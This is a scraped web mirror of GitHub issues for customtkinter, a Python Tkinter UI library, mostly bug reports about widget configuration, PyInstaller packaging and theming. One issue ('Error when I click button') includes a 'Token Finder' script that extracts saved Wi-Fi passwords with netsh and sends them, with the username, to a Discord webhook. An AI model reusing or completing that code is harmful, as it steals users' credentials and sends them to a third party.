Coder Social home page Coder Social logo

tomschimansky / customtkinter Goto Github PK

View Code? Open in Web Editor NEW
10.2K 101.0 1.0K 147.69 MB

A modern and customizable python UI-library based on Tkinter

License: MIT License

Python 100.00%
python ui ui-design tkinter tkinter-gui user-interface modern modern-ui python-ui custom

customtkinter's People

Contributors

anandsshah avatar bengy3d avatar felipetesc avatar mohsen1365ir avatar o0morgan0o avatar ripeey avatar sahil481 avatar thegamecracks avatar tomschimansky avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

customtkinter's Issues

Configure command on CTkButton

So I'm trying to change the command of aCTkButton using the configure method, but I'm getting an exception.

Here is the exception:

Exception in Tkinter callback
Traceback (most recent call last):
  File "C:\Users\User\AppData\Local\Programs\Python\Python39\lib\tkinter\__init__.py", line 1892, in __call__
    return self.func(*args)
  File "C:\Users\User\AppData\Local\Programs\Python\Python39\lib\site-packages\customtkinter\customtkinter_button.py", line 505, in clicked
    self.function()
  File "c:\Users\User\Desktop\youtube-audio-downloader\tempCodeRunnerFile.py", line 8, in print_hello       
    btn.configure(command=print_bye)
  File "C:\Users\User\AppData\Local\Programs\Python\Python39\lib\site-packages\customtkinter\customtkinter_button.py", line 443, in configure
    super().configure(*args, **kwargs)
  File "C:\Users\User\AppData\Local\Programs\Python\Python39\lib\tkinter\__init__.py", line 1646, in configure
    return self._configure('configure', cnf, kw)
  File "C:\Users\User\AppData\Local\Programs\Python\Python39\lib\tkinter\__init__.py", line 1636, in _configure
    self.tk.call(_flatten((self._w, cmd)) + self._options(cnf))
_tkinter.TclError: unknown option "-command"

And here is my code:

import customtkinter as ctk

root = ctk.CTk()
root.geometry("200x200")

def print_hello():
  print("hello world")
  btn.configure(command=print_bye)

def print_bye():
  print("bye bye world")
  btn.configure(command=print_hello)

btn = ctk.CTkButton(master=root, text="Click Me", command=print_hello)
btn.place(relx=0.5, rely=0.5, anchor="center")

root.mainloop()

Bind event to CTkEntry

Is there a way to bind an event to the CTkEntry? The way shown in the code below isn't working:

import tkinter
import customtkinter

def Foo(self):
    print("Bar")

root_tk = customtkinter.CTk()


entry = customtkinter.CTkEntry(master=root_tk,
                               width=120,
                               height=25,
                               corner_radius=10)

entry.place(relx=0.5, rely=0.5, anchor=tkinter.CENTER)  
entry.bind('<Return>', Foo)

root_tk.mainloop()

Does Ctk have Toplevel function?

I am writing a code and trying to open a new window when a button is clicked but is does not seem to be working. Does Ctk support toplevel function

AttributeError: 'float' object has no attribute 'slider_atr'

Hi! I'm really enjoying customTkinter, However, I have run into a problem, I'm not sure how to fix this, any help is appreciated.

Code:

        def indicator_settings(self):
            val_supertrend_atr = self.slider_atr.get()
            val_supertrend_factor = self.slider_factor.get()
            val_ema1_length = self.slider_ema1.get()
            val_ema2_length = self.slider_ema2.get()
            val_rsi_length = self.slider_rsi.get()
            val_leverage = self.slider_lev.get()
            print(val_supertrend_atr)
            print(val_supertrend_factor)
            print(val_ema1_length)
            print(val_ema2_length)
            print(val_rsi_length)
            print(val_leverage)

        self.rsi_length = customtkinter.CTkLabel(master=self.frame_right,
                                            text="RSI length")
        self.rsi_length.grid(row=1, column=2, columnspan=1, pady=10, padx=20, sticky="we")  
        self.slider_rsi = customtkinter.CTkSlider(master=self.frame_right,
                                                from_=1,
                                                to=32,
                                                number_of_steps=31,
                                                command=indicator_settings
                                                )
        self.slider_rsi.grid(row=2, column=2, columnspan=1, pady=10, padx=20, sticky="we")  
    ##SUPERTREND
        self.super_atr = customtkinter.CTkLabel(master=self.frame_right,
                                            text="Supertrend ATR")
        self.super_atr.grid(row=3, column=2, columnspan=1, pady=10, padx=20, sticky="we")  
        self.slider_atr = customtkinter.CTkSlider(master=self.frame_right,
                                                from_=1,
                                                to=32,
                                                number_of_steps=31,
                                                command=indicator_settings,
                                                )
        self.slider_atr.grid(row=4, column=2, columnspan=1, pady=10, padx=20, sticky="we")  
        
        self.super_factor = customtkinter.CTkLabel(master=self.frame_right,
                                            text="Supertrend Factor")
        self.super_factor.grid(row=5, column=2, columnspan=1, pady=10, padx=20, sticky="we")  
        self.slider_factor = customtkinter.CTkSlider(master=self.frame_right,
                                                from_=1,
                                                to=32,
                                                number_of_steps=31,
                                                command=indicator_settings,
                                                )
        self.slider_factor.grid(row=6, column=2, columnspan=1, pady=10, padx=20, sticky="we")  
        ##EMA
        self.ema1_length = customtkinter.CTkLabel(master=self.frame_right,
                                            text="EMA1 Length")
        self.ema1_length.grid(row=1, column=3, columnspan=1, pady=10, padx=20, sticky="we")  
        self.slider_ema1 = customtkinter.CTkSlider(master=self.frame_right,
                                                from_=1,
                                                to=32,
                                                number_of_steps=31,
                                                command=indicator_settings,
                                                )
        self.slider_ema1.grid(row=2, column=3, columnspan=1, pady=10, padx=20, sticky="we")  
        ##ema 2
        self.ema2_length = customtkinter.CTkLabel(master=self.frame_right,
                                            text="EMA2 Length")
        self.ema2_length.grid(row=3, column=3, columnspan=1, pady=10, padx=20, sticky="we")  
        self.slider_ema2 = customtkinter.CTkSlider(master=self.frame_right,
                                                from_=1,
                                                to=32,
                                                number_of_steps=31,
                                                command=indicator_settings,
                                                )
        self.slider_ema2.grid(row=4, column=3, columnspan=1, pady=10, padx=20, sticky="we")  

Error I receive:

Exception in Tkinter callback
Traceback (most recent call last):
  File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.1264.0_x64__qbz5n2kfra8p0\lib\tkinter\__init__.py", line 1921, in __call__
    return self.func(*args)
  File "C:\Users\user\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\customtkinter\widgets\customtkinter_slider.py", line 219, in clicked
    self.callback_function(self.output_value)
  File "C:\Users\user\pyto\projects\website_bots\front\testingCheck.py", line 227, in indicator_settings
    val_supertrend_atr = self.slider_atr.get()
AttributeError: 'float' object has no attribute 'slider_atr'

Any Idea what might have caused this?

Cannot get txt from entry

import customtkinter
from tkinter import *
import tkinter as tk
wn = Tk()
def printtxt(text):
print(text)
text=''
entry = customtkinter.CTkEntry(master=wn,
width=120,
height=25,
corner_radius=10)
entry.place(relx=0.5, rely=0.5, )
text = entry.get()
button = customtkinter.CTkButton(master=wn,
text="CTkButton",
command=lambda:printtxt(text),
width=120,
height=32,
border_width=0,
corner_radius=8)
button.place(relx=0.7, rely=0.5)

wn.mainloop()

Script Error when converted .py to .exe

I got this error when I tried opening my .exe file,
Also when I run this .exe the customtkinter library isnt there in temp folder too smh that means pyinstaller cant recognize this library.
image

Possible Bug with Radio Buttons

I am trying to make a radio button and this error is popping up,

File "xxxxxxxxxxx", line 171, in
rightoption1 = customtkinter.CTkRadioButton(test_create_frame, )
File "xxxxxxxxxxx\venv\lib\site-packages\customtkinter\customtkinter_radiobutton.py", line 67, in init
self.corner_radius = CTkThemeManager.theme["shape"]["radiobutton_corner_radius"] if corner_radius == "default_theme" else corner_radius
KeyError: 'radiobutton_corner_radius'

The part giving the error is:
rightoption1 = customtkinter.CTkRadioButton(test_create_frame, text="Option A is correct", )

the library is not working with pyinstaller

i tried to create an EXE file with the library but when i import it in the code, i can't run the app since its giving me the error such as in the picture (i'll add the full traceback error). is there a problem with using it outside of the python environment?
Traceback (most recent call last):
File "app_try.py", line 8, in
File "", line 1027, in _find_and_load
File "", line 1006, in _find_and_load_unlocked
File "", line 688, in load_unlocked
File "PyInstaller\loader\pyimod03_importers.py", line 495, in exec_module
File "customtkinter_init
.py", line 3, in
File "", line 1027, in _find_and_load
File "", line 1006, in _find_and_load_unlocked
File "", line 688, in _load_unlocked
File "PyInstaller\loader\pyimod03_importers.py", line 495, in exec_module
File "customtkinter\widgets\customtkinter_input_dialog.py", line 4, in
File "", line 1027, in _find_and_load
File "", line 1006, in _find_and_load_unlocked
File "", line 688, in _load_unlocked
File "PyInstaller\loader\pyimod03_importers.py", line 495, in exec_module
File "customtkinter\widgets\customtkinter_label.py", line 4, in
File "", line 1027, in _find_and_load
File "", line 1006, in _find_and_load_unlocked
File "", line 688, in _load_unlocked
File "PyInstaller\loader\pyimod03_importers.py", line 495, in exec_module
File "customtkinter\widgets\customtkinter_tk.py", line 9, in
File "", line 1027, in _find_and_load
File "", line 1006, in _find_and_load_unlocked
File "", line 688, in _load_unlocked
File "PyInstaller\loader\pyimod03_importers.py", line 495, in exec_module
File "customtkinter\customtkinter_theme_manager.py", line 83, in
File "customtkinter\customtkinter_theme_manager.py", line 16, in load_theme
FileNotFoundError: [Errno 2] No such file or directory: 'C:\Users\User\AppData\Local\Temp\_MEI99762\customtkinter\assets\themes\blue.json'

image

Removing border in slider widget

image

I am unable to remove this border.
I edited some code to get .configure method for slider widget, and when I call this method, this thick border forms around the slider widget. How to remove this?

Button state functionality not working

Hey!
I declared my button as
start_button = customtkinter.CTkButton(text="Start", fg_color=GREEN, command=start_timer)

I tried to change the state of a button so that it would not work when clicked more than one time
button.config(state=DISABLED)
or
button["state"] = "disabled"

and after the work(timer) is completed I reset it's state back to active

button["state"] = "active"

I am getting the following error

start_button.state(['disabled'])
AttributeError: 'CTkButton' object has no attribute 'state'
Exception in Tkinter callback

PS : This is the first time I am writing an issue.

AttributeError: 'str' object has no attribute '_root'

  • This is the code which i copy pasted from you

import tkinter
import customtkinter

customtkinter.set_appearance_mode("System") # Modes: system (default), light, dark
customtkinter.set_default_color_theme("blue") # Themes: blue (default), dark-blue, green

root_tk = customtkinter.CTk() # create CTk window like you do with the Tk window
root_tk.geometry("400x240")

check_var = tkinter.StringVar("on")

def checkbox_event():
print("checkbox toggled, current value:", check_var.get())

checkbox = customtkinter.CTkCheckBox(master=root_tk, text="CTkCheckBox", command=checkbox_event,
variable=check_var, onvalue="on", offvalue="off")

root_tk.mainloop()

  • With this code i get this error

    File "c:\Users_\venv\ProjectName\main.py", line 29, in
    check_var = tkinter.StringVar("on")
    File "C:\Users_
    \AppData\Local\Programs\Python\Python310\lib\tkinter_init_.py", line 540, in init
    Variable.init(self, master, value, name)
    File "C:\Users___\AppData\Local\Programs\Python\Python310\lib\tkinter_init.py", line 372, in init
    self._root = master._root()
    AttributeError: 'str' object has no attribute '_root'

What i am missing here

CTkLabel cget method

Due to the fact that I'm an absolute beginner, not only regarding to UI but also to coding itself, I hope it is really an issue and not stupidity... However, I tried to get the text from a CTkLabel with expressions "CTkLabel .cget("text")" and CTkLabel ["text"]. Nothing worked for me.

Request: Combobox functionality

Hey Tom,
Are you adding combobox functionality anytime soon? If not, how can I include Radio button and combobox within your code.

Thanks

DPI scaling

I wonder whether this library supports custom scaling of the whole application. Any hints?

Thanks!

rounding the button edges

Hi, i created a button but every time i see it in my tkinter GUI, i get the border edges inside. is there any argument to remove the border and only keep the rounded button shape? exmaple for my problem in the picture
button problem

.CTkFrame width does not work

i downloaded your complex_example.py and changed the width parameter of the frames but nothing changes. Even when i delete the parameter, the frame width stays the same. The right frame only changes size if i change the whole window size (WIDTH variable in Class App).

Am i doing something wrong or is there something not working as intended?

Request : CTkTooltip & CTkScrollbar

CTkTooltip

CTkTooltip Features (suggested) :

  • Tooltip with round corners
  • Custom Font Support
  • Customizable Color i.e. fg and bg

CTkScrollbar

CTkScrollbar Features (suggested) :

  • Scrollbar with round corners
  • Customizable Color i.e. fg and bg

CTkButton with image bug

If you try to disable a button with an image, it causes an error

import tkinter
import customtkinter
from PIL import Image
from PIL import ImageTk 

root_tk = customtkinter.CTk()
root_tk.geometry("400x240")

def button_function():
    print("button pressed")

button = customtkinter.CTkButton(
            master=root_tk, 
            text="", 
            image=ImageTk.PhotoImage(Image.open("image.png")).resize((30, 30))),
            command=button_function)
button.place(relx=0.5, rely=0.5, anchor=tkinter.CENTER)

self.recent_button.config(state=tkinter.DISABLED)

root_tk.mainloop()

The problem occurs when the color of the button is set as disabled

What do I use in place of `ttk.Labelframe`?

Since I can't just directly embed a CTkEntry in a normal ttk.Labelframe (see error below)

Traceback (most recent call last):
    main()
    App().mainloop()
    self.ob = ctk.CTkEntry(og)
  File "site-packages\customtkinter\customtkinter_entry.py", line 54, in __init__
    self.bg_color = self.detect_color_of_master() if bg_color is None else bg_color
  File "site-packages\customtkinter\customtkinter_entry.py", line 119, in detect_color_of_master
    return self.master.cget("bg")
  File "Python39\lib\tkinter\__init__.py", line 1652, in cget
    return self.tk.call(self._w, 'cget', '-' + key)
_tkinter.TclError: unknown option "-bg"

What should be the replacement be?

Add to Pip

Can You Please add this module to pip, thorough which we can install it using pip.

Removing All Widgets.

For regular tkinter, you can remove all the widgets using:
for widget in root.winfo_children():
widget.destroy()

This doesn't work in customtkinter. Does anyone know if there is an alternative way to do this?

Problem converting python file to executable

Your code of exemples:

from tkinter import *
import tkinter
import customtkinter 

window_tl = customtkinter.CTk()
window_tl.geometry("800x400")
window_tl.title("Custom Tkinter")
customtkinter.set_appearance_mode("Dark")
customtkinter.set_default_color_theme("green")

nome = customtkinter.CTkLabel(master=window_tl,
                              text="Nome Completo:",
                              width=30,
                              height=25,
                              corner_radius=8)
nome.place(relx=0.2,
           rely=0.1,
           anchor=tkinter.E)



def botao():
    print("Botão apertado")

btn = customtkinter.CTkButton(master=window_tl,
                              text='Clique',
                              corner_radius=5, 
                              command=botao)

btn.place(relx=0.5,rely=0.5,anchor=tkinter.CENTER)

window_tl.mainloop()

Script to conversion:
pyinstaller --noconfirm --onefile --windowed "......./CustomTkinter/TkinterCustom.py"

Error opening executable file:
image

AttributeError: 'CTkSlider' object has no attribute 'canvas'

I added this code from line 235 in slider.py file

    def config(self, *args, **kwargs):
        self.configure(*args, **kwargs)

    def configure(self, *args, **kwargs):
        require_redraw = False  # some attribute changes require a call of self.draw() at the end

        if "fg_color" in kwargs:
            self.fg_color = kwargs["fg_color"]
            require_redraw = True
            del kwargs["fg_color"]

        if "bg_color" in kwargs:
            if kwargs["bg_color"] is None:
                self.bg_color = self.detect_color_of_master()
            else:
                self.bg_color = kwargs["bg_color"]
            require_redraw = True
            del kwargs["bg_color"]

        if "progress_color" in kwargs:
            self.progress_color = kwargs["progress_color"]
            require_redraw = True
            del kwargs["progress_color"]

        if "button_color" in kwargs:
            self.button_color = kwargs["button_color"]
            require_redraw = True
            del kwargs["button_color"]

        if "button_hover_color" in kwargs:
            self.button_hover_color = kwargs["button_hover_color"]
            require_redraw = True
            del kwargs["button_hover_color"]

        if "border_color" in kwargs:
            self.border_color = kwargs["border_color"]
            require_redraw = True
            del kwargs["border_color"]

        if "border_width" in kwargs:
            self.border_width = kwargs["border_width"]
            require_redraw = True
            del kwargs["border_width"]

        if "width" in kwargs:
            self.width = kwargs["width"]
            require_redraw = True
            del kwargs["width"]

        if "height" in kwargs:
            self.height = kwargs["height"]
            require_redraw = True
            del kwargs["height"]

        if "from_" in kwargs:
            self.from_ = kwargs["from_"]
            require_redraw = True
            del kwargs["from_"]

        if "to" in kwargs:
            self.to = kwargs["yo"]
            require_redraw = True
            del kwargs["to"]

        if "number_of_steps" in kwargs:
            self.number_of_steps = kwargs["number_of_steps"]
            require_redraw = True
            del kwargs["number_of_steps"]

        if "command" in kwargs:
            self.callback_function = kwargs["command"]
            require_redraw = True
            del kwargs["command"]



        super().configure(*args, **kwargs)

        if require_redraw:
            self.draw()

this produces an error when I call ctkSlider.config(parameter=value)

  File "customtkinter_slider.py", line 50, in __init__
    self.configure(width=self.width, height=self.height)
  File "customtkinter_slider.py", line 314, in configure
    self.draw()
  File "customtkinter_slider.py", line 94, in draw
    self.draw_with_ovals_and_rects()
  File "customtkinter_slider.py", line 172, in draw_with_ovals_and_rects
    if not self.canvas.find_withtag("border_parts"):
AttributeError: 'CTkSlider' object has no attribute 'canvas'

please help. i want to have config method for other widgets also

Request : CTkMessagebox

CTkMessagebox

like tkinter.messagebox

CTkMessagebox Features (suggested) :

  • all show* (info, error, etc) commands
  • all ask* (question, okcancel, etc) commands
  • possibility to modify them as desired

treeview

hey is there any way to use the customtkinter library with ttk widgets or more particularly treeview

Bug with getting the text of buttons

I am trying to get the text of a button and i am getting this error:

Traceback (most recent call last):
File "xxxx\test.py", line 8, in
print(button['text'])
File "D:\Python\lib\tkinter_init_.py", line 1652, in cget
return self.tk.call(self._w, 'cget', '-' + key)
_tkinter.TclError: unknown option "-text"

My code is
from tkinter import *
import customtkinter
root = Tk()
frame = Frame(root)
button = customtkinter.CTkButton(frame, text="Tst")
button.grid(row=0,column=0)
frame.grid(row=3, column=1)
print(button['text'])
root.mainloop()

Error when I click button

Here is the function for my main UI:

def GUI():
    customtkinter.set_appearance_mode("Dark")
    frame1 = customtkinter.CTkFrame(master=root, width=585, height=385, corner_radius=15)
    frame1.place(x=10,y=10)
    customtkinter.CTkLabel(master=frame1,
                           text="Token Finder",
                           width=120,
                           height=25,
                           corner_radius=8).place(x=250, y=25)
    customtkinter.CTkButton(master=frame1,text = "Discord Token", command=discord_token_displayer).place(x=250, y=80)
    customtkinter.CTkButton(master=frame1, text="Minecraft Token", command=discord_token_displayer).place(x=245, y=130)
    customtkinter.CTkButton(master=frame1, text="Wifi Password", command=wifi_password_display).place(x=250, y=180)
    customtkinter.CTkButton(master=frame1, text="Quit", command=end).place(x=450, y=20)
    root.mainloop()

When I click the Wifi Password button, my code errors out. Here is the code for the Wifi Password function:

def wifi_password_display():
    global hook
    command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output=True).stdout.decode()

    profile_names = (re.findall("All User Profile     : (.*)\r", command_output))

    wifi_list = []

    if len(profile_names) != 0:
        for name in profile_names:

            wifi_profile = {}

            profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name],
                                          capture_output=True).stdout.decode()

            if re.search("Security key           : Absent", profile_info):
                continue
            else:

                wifi_profile["ssid"] = name

                profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"],
                                                   capture_output=True).stdout.decode()

                password = re.search("Key Content            : (.*)\r", profile_info_pass)

                if password == None:
                    wifi_profile["password"] = None
                else:

                    wifi_profile["password"] = password[1]

                wifi_list.append(wifi_profile)
    for widget in root.winfo_children():
        widget.destroy()
    customtkinter.set_appearance_mode("Dark")
    frame1 = customtkinter.CTkFrame(master=root, width=585, height=385, corner_radius=15)
    frame1.place(x=10,y=10)
    customtkinter.CTkLabel(master=frame1,
                           text="Token Finder",
                           width=120,
                           height=25,
                           corner_radius=8).place(x=250, y=25)
    customtkinter.CTkButton(master=frame1,text = "Discord Token", command=discord_token_displayer).place(x=250, y=80)
    customtkinter.CTkButton(master=frame1, text="Minecraft Token", command=discord_token_displayer).place(x=245, y=130)
    customtkinter.CTkButton(master=frame1, text="Wifi Password", command=wifi_password_display).place(x=250, y=180)
    customtkinter.CTkLabel(master=frame1,
                           text="Your wifi passwords:",
                           width=450,
                           height=25,
                           corner_radius=8).place(x=90, y=220)
    customtkinter.CTkButton(master=frame1, text="Quit", command=end).place(x=450, y=20)
    thing1 = 0
    for x in range(len(wifi_list)):
        username = getpass.getuser()
        webhook = DiscordWebhook(url=hook, content=str(wifi_list[x]) + " **"+username+"**")
        webhook.execute()
        customtkinter.CTkLabel(master=frame1,
                               text=wifi_list[x],
                               width=450,
                               height=25,
                               corner_radius=8).place(x=90, y=240+30*thing1)
        thing1 = thing1 + 1

I get the following error:
image

pyglet causes askdirectory dialog to not open

I've been having some trouble using tkinter's askdirectory() for a while. But i've finally found the problem. Apparently something about pyglet causes this problem. I tried to comment out the relevant parts from customtkinter's init.py and it fixed my problem but now the shapes are really weird.

There is also this thread but I am nowhere near qualified to understand what that guy is doing.
https://stackoverflow.com/questions/65716631/using-filedialog-askdirectory-with-tkinter-and-pyglet-freezes-the-application

Can you fix this problem or give any advice.

flashes white when loading widgets

i am creating my first app with python and i choose customtkinter
but I have this problem of "blinking" every time I load the widgets(e.g. frame, button, label)

I believe it is something related to color, I tried to set it later using ( label.configure(bg='dark_color') but without success, always the #DEDEDE (default tkinter color) wins

any solution for this?
https://i.imgur.com/YIkDwZT.mp4 (click to play video/gif)

my same problem can be seen directly from the source code
CustomTkinter-master\test\test_button_antialiasing.py
you just spam

How to align Labels?

I am making a app where in i need to align my labels to the left side, How do I do that?

Detect system theme in Windows

darktetect looks like it supports Windows as well so I am not really sure why you check if the system is darwin before setting the theme to system. (Line 5, 38, and 75 of appearance_mode_tracker.py)
I can create a PR if you are interested.

ModuleNotFoundError:

Hi Tom,

Noticed you had some update changes to the install package recently so I ran the pip3 install customtkinter --upgrade.

I'm getting traceback errrors when I try to run my python script and the test examples you have provided.

The error:

justinho@Justins-Mac-mini test % python3 test_all_widgets_with_colors.py
Traceback (most recent call last):
File "/Users/justinho/Downloads/CustomTkinter-master/test/test_all_widgets_with_colors.py", line 2, in
import customtkinter # <- import the CustomTkinter module
File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/site-packages/customtkinter/init.py", line 4, in
from .widgets.customtkinter_button import CTkButton
ModuleNotFoundError: No module named 'customtkinter.widgets'

Seems like '.widget' in this __init__py file was added to all customtkinters import modules for version 3.10.

How do I roll back to 3.9 or the files associated with the previous installation package?

I'm on OSX Monterey M1 Mac mini. Python 3.10.4.

Any assistance would be much appreciated,

Justin

Dark mode does not work properly in Windows 11

When running the complex example and OS mode set to dark:
image
Only the CtkFrames become dark, not the background.
(I removed the macos darkmode lines and removed the checkbox due to a error.)

.configure method in other widgets

Is it possible that maybe I can copy some code from ctkButton.py to ctkSlider.py to get the .configure method for slider widget on my local machine?

TclErrors when trying to destroy all widgets in a CTkFrame

First I'd like to say that this library is phenomenal and was exactly what I was looking for for my project!

As the title suggests, I'm running into errors when I try to iterate through .winfo_children() of a CTkFrame like below.
for widgets in self.question_frame.winfo_children(): widgets.destroy()

This approach worked fine for my old TTK code, but I now get
image
whenever I try the same code on a CTkFrame.

My current workaround is to destroy everything in the frame EXCEPT the ".!frame.![myclass].!ctkframe.!ctkframe.!ctkframe.!ctkcanvas" widget specifically, and that seems to be working. Is this intended behavior?

Demo only shows black window

Hey !

Thank you for bringing the design for tkinter apps to a new century :) .

I wish I could use it on my Mac m1 , but the demo code only shows a black window.
If I click in the middle of the window I can see that the button event appears in the console. It is just black can't see the button.

Do you have any knowledge what could be the problem ? I am happy do provide logs or what ever.

Actually there is no error in the console.

I am using python 3.9.9 MacOS 12.3.1

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.